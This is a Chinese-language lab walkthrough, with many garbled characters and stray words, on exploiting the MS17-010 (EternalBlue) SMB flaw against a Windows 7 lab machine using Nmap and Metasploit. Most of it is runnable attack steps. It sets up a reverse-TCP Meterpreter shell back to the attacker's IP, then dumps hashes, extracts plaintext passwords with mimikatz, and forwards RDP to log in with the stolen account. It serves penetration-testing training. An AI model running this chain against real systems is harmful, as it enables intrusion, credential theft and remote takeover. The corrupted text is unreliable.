操做机 :Kali 2017
shell
操做机IP:172.16.11.2
windows
目标机:Windows 7
框架
目标机IP:172.16.12.2
tcp
认知Windows远程溢出漏洞的危害ide
知悉MS17-010漏洞的发现和验证过程函数
学习Metasploit工具的进阶使用工具
Nmap
:端口扫描探测工具,用于探测端口开放状况,本次使用其端口扫描和漏洞扫描功能学习
mestasploit
:开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件测试
漏洞原理简述ui
MS17-010漏洞出如今Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA
(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt
在将FEA
list转换成NTFEA
(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt
去计算转换后的FEA lsit的大小,因计算大小错误,而致使缓冲区溢出。
曾经NSA工具箱泄露时,咱们已经对永恒之蓝这个工具的使用作过讲解!【NSA黑客工具包】Windows 0day验证明验。
然而,该工具的使用环境比较苛刻,并且操做较为复杂,如今msf已经加入该系列工具,使用方法更便捷。接下来,就开始操做吧!
打开Kali终端,使用Nmap对目标机开放端口进行扫描
nmap -sV -Pn 172.16.12.2
目标机开放了135
139
445
3389
等端口,且目标机系统为Windows7,
咱们使用用扫描模块,判断该漏洞是否可利用
还记得ms08-067的nmap扫描脚本吗?MSF也有扫描模块~
终端内输入
msfconsole
打开 metasploite
命令行客户端,使用search
命令查找ms17-010漏洞的相关模块
search ms17-010
以下是相关可用模块
使用use
命令选择咱们要使用的扫描模块
use auxiliary/scanner/smb/smb_ms17_010
在运行该模块以前,须要设置相关选项,咱们使用show options
查看配置信息
须要设置目标地址,设置命令:
set RHOSTS 172.16.12.2
设置完成后,执行run
或exploit
命令,等待执行结果
从上一步骤能够看出,该漏洞是可被利用的,接下来,咱们祭出漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
步骤同上,查看配置信息,并设置标记为yes的属性
show options
目标机host地址:172.16.12.2
set RHOST 172.16.12.2
注意此处为RHOST,与扫描时的RHOSTS不同
以后,选择载荷payload
,也就是shellcode
,此处咱们选择回连至控制端shell
的payload
set payload windows/x64/meterpreter/reverse_tcp
一样,载荷也须要进行配置,show options
查看配置信息
配置中缺乏本地主机 RHOST,设置一下
set LHOST 172.16.11.2
本地端口LPORT默认为4444,可经过
set LPORT 端口号
修改
完成配置后,运行exploit
或者run
,开始执行漏洞利用模块
成功获取来自目标主机的Session会话
咱们已经成功的获取Session会话了,本次咱们继续介绍meterpreter后渗透模块的其余功能
运行sysinfo
查看目标机器相关信息
执行help
命令能够帮助咱们了解meterpreter有哪些功能
接下来,咱们获取目标机hash值
执行hashdump
mimikatz
是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter
中正集成了这款工具。
执行load mimikatz
便可加载该工具,其命令与mimikatz
同样
运行命令msv
,导出hash
而后执行kerberos
便可得到目标机帐号密码
获取了目标机的帐号密码,咱们结合nmap的扫描结果,能够远程登录目标机 可是现实中,防火墙通常会拦截外来3389端口的访问请求,这种状况下该怎么解决呢?
咱们可使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行链接
运行命令
portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 172.16.12.2
此处,咱们将远程目标的3389端口,转发到本机 172.16.11.2的3389上
本地端口号可设置为其余未监听的端口
如此,咱们只要执行
rdesktop 127.0.0.1 -u ichunqiu -p ichunqiu
便可登录远程目标机器
经过本次实验,咱们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其余使用案例。